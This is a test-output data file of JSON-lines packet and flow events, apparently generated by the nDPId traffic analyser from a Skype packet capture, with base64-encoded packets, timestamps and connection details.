+00463{"flow_id":260,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":568152,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABFrnpAAEAGFVLAqAEilQ0gD8hrNFBkkHVE8NlOH4AYECsBzAAAAQEICj4yevc\/iaIi76xFgVR\/S9BBBlIdTNON8fo="} +02396{"flow_id":260,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1859,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":568822,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUrUxAAEAGEPHAqAEilQ0gD8hrNFBkkHVV8NlOH4AQECs+mgAAAQEICj4yevg\/iaIiFwMBAGbJJE59670C2bTy8mN9bN\/vRyNBZG6G8n6AoZcnoY6mXZIsPqooJl8GpHqQ3B36gROS4+lQZkR6oJsd780UlLRI5Sq+JwUEHlRAKag\/H1YnCY+85N6Q9Acrt4wXOZyOZO\/\/D+FC2fwXAwEAZm\/5opc\/4qdyBPTkSg2NpFN3nwc2KJIg\/eMQKU815iRYJ1le+RU+oYOidBcHustN45l1BGkrevFYsDFFX6bd+X3WxTQIm0cpSVeyIPb2WISV9+9Hk9xglb0sCsx9mNxBt1WhytJJrhcDAQBlhjKF7jt0nHvE6ZUTMRQI1KvDkzscsm5yxPNBbW8E2\/Uf+Q6Sb1xp0soVRZs61lzwnHhVfR4mz3Xg9e\/jebzh05orM0JtfCtRZAVQIKArsxw3X+0nmR0kMC9GTgvnGp4EyyolgVYXAwEAaCukojW4JwmCaxwRh9R2NFAyYqsnVY3xm4VULEXZJmihRSqTqmEihrgcvRcxEkQT6ca5fURaaufTWLUOYV89UL4jO8zzFAV+HbKf5kfYKRwv3jRhsgHMPnpZ3Y1Rlk1BDngKLhKAFUHJFwMBAGii9TBIpAu8RRiL6QrnNUNqrDkjLXFwpM+n6FBzaNxQ31pO0B2M9ZjjbXLM\/EG7YR0DjrXQkSSvKCZTXRyYE6Td+z+GLEmADUIsMRMRV3jEqYc\/N6mDSbEAj0IsA6pnZlD\/mIX\/f2n\/MBcDAQCdyzlDVdj7VSTr9Ugds09Ox\/r9K4xeaBAjGFuO8tb1oIblYSTnO26oZlXurQKIzRmyTuGLV2+I6g6JvtjMtoy1N8n+lyjiBTHQNTfvhTvZH+2fVUuIJ8AcaPX+5Dg8IaTG3BrX1ZHugXwV9pOGMdKIdeKvhVCsRthcbk\/0aqiCLRAOUCbyvmrGyKO8v0N+m5xZKmLFnGF2ZFqnVj\/pwRcDAQBmYmdAnTYlLJaW5b4k3s22iq2XZzsBHSuypFw55PnFPwWan7dgGkvmrdobTEb4xFU+Zad\/XWosSTC9jhjm2FsjvSC8J8b6LwNn2Ta9CsF6lqJ56omMNubWtgEWIqBXqHQ229GpQFLTFwMBAGak9AUNrQJx2qHhDmJcYR2a5kgyOrD6DGTh13kw4NV3M7QvikzE4UGZsU4sZ\/YvJ3QaUtlY4z5pmePn5FhXtiHZ3VCoZnYIx\/Ro62ejd6lLso3JxWqhbgSDK42W4ZWinh+WoSVLWmIXAwEBx0XhISwlohUM3L6NB0V3OsWO9q1xfIGXmurl0mn7pRuyfRJRPco3s4YUYW8vnzidORTp4QiKzgffEZwdzfx1p8sUThOndEJFkz1MTAhypNG\/fa9\/MvW8WL0keg+bKPnYwjGSpSLj8gTubgo5vOfvO2rOnjPbsOyreeJfxD+pcXSJym1OqdSKFYii4DO\/32d2IaUrD22wFeEcB3MsuSxRcdITxcyOLFuQSqf6zlf0wZhShSFGD2ppV3XCkgAIwtM9zCQA14B27sGfYZhhFzi5ACWX93tSi1jY3CTdB\/F+7e216FLZ75TRD1+RJtXGoTTWZe2UV4\/cUUMchCJHAnpZfz7jWiHctZJ44F42IzQTav9NyCHe\/7QRhOis0EEj5hv+wrmEIwaG9GDEKVRdj8DrgRigGETQrUbjRaq+wOI+jNpY8WEpmm84+QVbLwuYNwUYRatwRr6kbXSMMzzUsmrOplZXaYCnh8LmWbJwHfAWEE976PzaclxMGNtW+G8JUZHzxdsRbb0loc\/VZ3NGkrsOapayJTbDqzflwVe\/ygSmBXnUPquWuy3S0Dv8Uuk5hiNnmncwKo2Dp+VI6BChXe1abSaxaGpbBUOUFwMBAcWpkPO7nZR5\/3u6rOibZNFg6ShRD2IsIg4VKoj\/pjd31CT9d\/SckCV\/RouDGVhNRJmeIgtH1fqzVceULnuH"} +00975{"flow_id":260,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1860,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":568823,"pkt_caplen":458,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":458,"pkt_l4_len":424,"pkt":"0NQSxnP1PBXCt3IOCABFAAG8PYBAAEAGhNXAqAEilQ0gD8hrNFBkkHr18NlOH4AYECt5DgAAAQEICj4yevg\/iaIi5LCXbdTZDlnTKPUo0O+NWESTsL\/j3KAN6L9MNiC83EOOpIH1yDu9r8cakjSdFX5zL+xZDvNzU9icWQIFPn\/OHFNvYdp7wK64boar1Q4eRkv0bXSyx3Nm+OiFeBRRoENBvJuhfTpWz7raJoaABkLg1DP7+Efs9\/f+7glw\/FAIvnVe6I\/1Dy4j4A3eD0fQ0tRSuKMb6419cu3C4yuBhoBSqkeJtCPF5oDD2\/dHNYsCDtdirqVfKPJNtLViYyf6IGFQitfx2LcBTLIhTDLlRfmccXbKSNBtzY7LgqT\/bDRhVauQm\/LxEqHvjeeOM6qTTgB1CSUFIa7pQHB55MYrREMuPTCykWz0jRqEVFhufDOs7PzduW13p52JM6qkFd+pRtLfDkZR96u4RUCiUx\/KLhhyC53cwlZs9sY4T7Guf0i489OFMesWfOz7jPQIQ7suhT1hj7xlqytM1jf7jdceBQYb7LGKK+wKbBcIJyBcaH4xdYqlPqw2m0T7Nzt82v3w9hPgxfp\/Poa5eqo="} +00445{"flow_id":260,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1861,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":609778,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFCAA57D1AADUG4pKVDSAPwKgBIjRQyGvw2U4fZJBvpIAYAB084AAAAQEICj+Joi0+Mnr2FwMBAAA="} +01935{"flow_id":260,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1862,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":609886,"pkt_caplen":1167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1167,"pkt_l4_len":1133,"pkt":"0NQSxnP1PBXCt3IOCABFAASB1YlAAEAG6gbAqAEilQ0gD8hrNFBkkHx98NlOJIAQECtfKAAAAQEICj4yeyE\/iaItFwMBAH1zs6PTRjIrU7XBucswmTkpg2QSmIECVeUsjrm1483oAPquTe2ahgeLZSAgboE00j\/0V3HzX8HV3IqA\/+M6nPfblBjMWMqnmVB0SaaSQmOB8i8PnX7sFxF8XenOFSq7oJxgLF7vDdz0rZg6S7eqG7cRV3pjP7jVr5SHYmuCWxcDAQB9pxlpWjtmoBbz6VfCIQ7G5UpFD6RTBPnf5nObTJAcCG2iH2NK8rc3vg44nnvr9fCCAmu\/4dJ5e47XrDRlFnMv4O+e3IgZR0uzq47NTU+MIlMjXN5GZwYlwMgI1+uphMfTj76+cBrw+pjQCryhJhJYZ5m+CY7h0DAuALpFIJIXAwEAfVWu+rUVqss9tDc3\/aSTqd+SmUsRdRQpfqTrw1tHMD6r6uMmoa6Df8z22s\/PYLAbjhn0IjG\/Mxwd440gihHTEI+mcOZNKTOK9V6dhReFkFF1mc0BDzk29PvodgSD59gt6mC6toLzXWCj9yDhN1pe8ayEQytrQ+oovGULy6k9FwMBAH040AvB9OfvNfgU0p7nShRS\/3oR6ppoET9FtJNVrDIYYuuLBf3Mq\/kY36v2nyJ3m2c5\/W6s27Fma5vhyJ7Q8+Amy0LzYTMq6AhSXIk7cQaFnoY+vct0Fmu0XO\/kTci37KrrvQqcNS\/zUecuQ7OIvWJjfaW2aNANICdnWBENphcDAQCE5Z\/MaCR09FAQHsy9xxUoE5YrGomCrKZ8M5PaHt6IDnBExtoVRE4KaukzW6xajsyjch3z3T\/n+vHVz8+yDxFV+W6SJuj5oj0kpOCD8JMMEVf1NdNl8dXd8ClExLXVoRscvRDleMTuqbDV8ce2wwtA3gtKaJHawBiHL+1aW2pnyNIijmyfFwMBAH3mMJu7vGG2+tTqLnjGSUEMgHZl964ywi\/YQTomNnMSBTQy0q8GwjE4E+xRLF7HZcbDDoUpp0HqYVqmobSZzvqs+pMTeanHb9VadGjld8Napdi\/0iD\/akdqlJcFgHs\/Sl+4KLkDG0OFMDXNk6MCO3EJhwdqZIMbgLbfYq3eEBcDAQCJM\/h5hOsiaKp4yxPi\/dNn3mbQtlyXIb\/5BAzJUCun\/IADPwy44u7Ldjjnd8Su3TDqVaVWg1vfuWJoM6IgzOnnXKvoV3gq6ex2WDIl911gZ7KdSv2PdSBSqd+jAzBbhfkqcaH0Dcm7dY3oorUdOEr\/P9VMcke3sIHCcbFW0tIbnmZ5am4sea26r3IXAwEAidG3XNaryAB1mXBqYoINoH2IryI+kMuyTScuC6QrogzRbvjXFq7A4GKdkiloZSGszY9+2PGBfudzxjtOuTKTU+OIzITMKdq9w+wZnX2mwlZDUT18LXB9X6VBOlBvC0GCc1rsZH7EebaZqb0I+pga2CRbvIqcC6wSLVxuTc2p9GwDeKiCY3gRezVqFwMBAIw2j8LAp7ZddtkXcgD7as5O9GW4\/mssD3Ym"} +00437{"flow_id":260,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1863,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":624469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA07D5AADUG4paVDSAPwKgBIjRQyGvw2U4kZJB1VYAQACJPMQAAAQEICj+JojA+Mnr3"} +00449{"flow_id":252,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1868,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":834940,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8nnlAAEAGGKfAqAEiUuBu8chil+9r2DUhwKVsb4AZECnINQAAAQEICj4yfAAABxv0Y+a7tnpGfD8="} +00455{"flow_id":259,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1870,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970697,"pkt_ts_usec":921108,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXadAAEAGdnDAqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/mhAAAAgQFtAEDAwUBAQgKPjJ8VgAAAAAEAgAA"} +00454{"flow_id":257,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1876,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":333645,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAZ+VAAEAGbDLAqAEiUHlUXchn861MQWgbAAAAALAC\/\/+jxgAAAgQFtAEDAwUBAQgKPjJ98QAAAAAEAgAA"} +00450{"flow_id":258,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1877,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":355827,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jh9AAEAGNbbAqAEilQ0gD8hpNFCsfgHZvsYiKIAZECpdXAAAAQEICj4yfgc\/i4QdlEVm+IpzAKs="} +00455{"flow_id":261,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1878,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":527984,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAIalAAEAGsm7AqAEiUHlUXchsAbvYtBS\/AAAAALAC\/\/9b2wAAAgQFtAEDAwUBAQgKPjJ+swAAAAAEAgAA"} +00667{"flow_id":249,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1879,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":608177,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbYshAAEAG3BbAqAEiF84hpshfAbtO4sWpGQUJ6IAZECypLAAAAQEICj4yfwPsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1882,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":1,"flow_first_seen":1431970698661,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":51309,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":262,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1882,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":661976,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAL8NAAEAGlA7AqAEilQ0gD8htNFBZKlAPAAAAALAC\/\/9ctAAAAgQFtAEDAwUBAQgKPjJ\/OAAAAAAEAgAA"} +00450{"flow_id":262,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1883,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":714556,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGzs2VDSAPwKgBIjRQyG0MzUGLWSpQEKASOJAD+QAAAgQFrAQCCAo\/iaNBPjJ\/OAEDAwk="} +00437{"flow_id":262,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1884,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":714662,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OGtAAEAGi3LAqAEilQ0gD8htNFBZKlAQDM1BjIAQECxa7wAAAQEICj4yf2w\/iaNB"} +00517{"flow_id":262,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1885,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":715201,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsH8hAAEAGo93AqAEilQ0gD8htNFBZKlAQDM1BjIAYECzEXwAAAQEICj4yf2w\/iaNBe0ioHskHPpvsKpxCEQS5BOBaQrnzc9\/tw7maeX5w2dPQTfT+E\/dUAyvQLN0kQusfwDGux8zNmsM="} +00436{"flow_id":262,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1886,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":767230,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA04sJAADUG7BKVDSAPwKgBIjRQyG0MzUGMWSpQSIAQAB1quQAAAQEICj+Jo04+Mn9s"} +00541{"flow_id":262,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1887,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":767857,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"PBXCt3IO0NQSxnP1CABFCAB\/4sNAADUG68aVDSAPwKgBIjRQyG0MzUGMWSpQSIAYAB1xmwAAAQEICj+Jo04+Mn9sOpJzwp2I9lmKmo9qet\/0JNHq3wKOmoF+GxDpI8NUGtvKs5qEae0kR3KE0SZc6Wdjcrsw4Z73PH2K8wjZNq+U9aIr4NHOZ+xtumO4"} +00437{"flow_id":262,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1888,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":767922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0K3RAAEAGmGnAqAEilQ0gD8htNFBZKlBIDM1B14AQEClaLgAAAQEICj4yf6A\/iaNO"} +00449{"flow_id":262,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1889,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":768451,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA893lAAEAGzFvAqAEilQ0gD8htNFBZKlBIDM1B14AYECm0nAAAAQEICj4yf6E\/iaNOv+3qnuBIGqs="} +00455{"flow_id":259,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1891,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970698,"pkt_ts_usec":927865,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAywpAAEAGCQ3AqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/imwAAAgQFtAEDAwUBAQgKPjKAPwAAAAAEAgAA"} +00449{"flow_id":262,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1892,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":101123,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8TnFAAEAGdWTAqAEilQ0gD8htNFBZKlBIDM1B14AYECmzUgAAAQEICj4ygOs\/iaNOv+3qnuBIGqs="} +00454{"flow_id":257,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1893,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":340791,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAAexAAEAG0ivAqAEiUHlUXchn861MQWgbAAAAALAC\/\/+f3QAAAgQFtAEDAwUBAQgKPjKB2gAAAAAEAgAA"} +00898{"flow_id":251,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1894,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":485984,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGD38ZAAEAGZA3AqAEiW77YGMhhMD6A1I7uSE6kloAYECm15QAAAQEICj4ygmsNH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00456{"flow_id":261,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1896,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":535186,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1tBAAEAG\/UbAqAEiUHlUXchsAbvYtBS\/AAAAALAC\/\/9X8gAAAgQFtAEDAwUBAQgKPjKCnAAAAAAEAgAA"} +00451{"flow_id":262,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1899,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":563607,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XNZAAEAGZv\/AqAEilQ0gD8htNFBZKlBIDM1B14AYECmxhgAAAQEICj4ygrc\/iaNOv+3qnuBIGqs="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1905,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":1,"flow_first_seen":1431970699896,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"93.79.224.176","src_port":51311,"dst_port":14506,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":263,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1905,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":896876,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAq+JAAEAGjwvAqAEiXU\/gsMhvOKrhhkW1AAAAALAC\/\/9MqQAAAgQFtAEDAwUBAQgKPjKEAQAAAAAEAgAA"} +00455{"flow_id":259,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1906,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":935211,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAJVVAAEAGrsLAqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/eswAAAgQFtAEDAwUBAQgKPjKEJwAAAAAEAgAA"} +00448{"flow_id":263,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1907,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":988047,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGRPJdT+CwwKgBIjiqyG99aSIL4YZFtqASOJC3HAAAAgQFrAQCCAoANM5PPjKEAQEDAwU="} +00437{"flow_id":263,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1908,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":988168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MxRAAEAGB+bAqAEiXU\/gsMhvOKrhhkW2fWkiDIAQECwN6AAAAQEICj4yhFwANM5P"} +00526{"flow_id":263,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1909,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970699,"pkt_ts_usec":988718,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"0NQSxnP1PBXCt3IOCABFAAByqA1AAEAGkq7AqAEiXU\/gsMhvOKrhhkW2fWkiDIAYECzKAQAAAQEICj4yhFwANM5PYTBwwWMI3W5EfAqWgvyIYQyUeH1\/y3UPlZ9J4EBYzfJjO\/e0stJxgmyBRJM2jCfjWoNY6QY\/5AVyuzDhnvc="} +00435{"flow_id":263,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1911,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":81438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA07GlAADYGWJBdT+CwwKgBIjiqyG99aSIM4YZF9IAQAcUb+gAAAQEICgA0zmY+MoRc"} 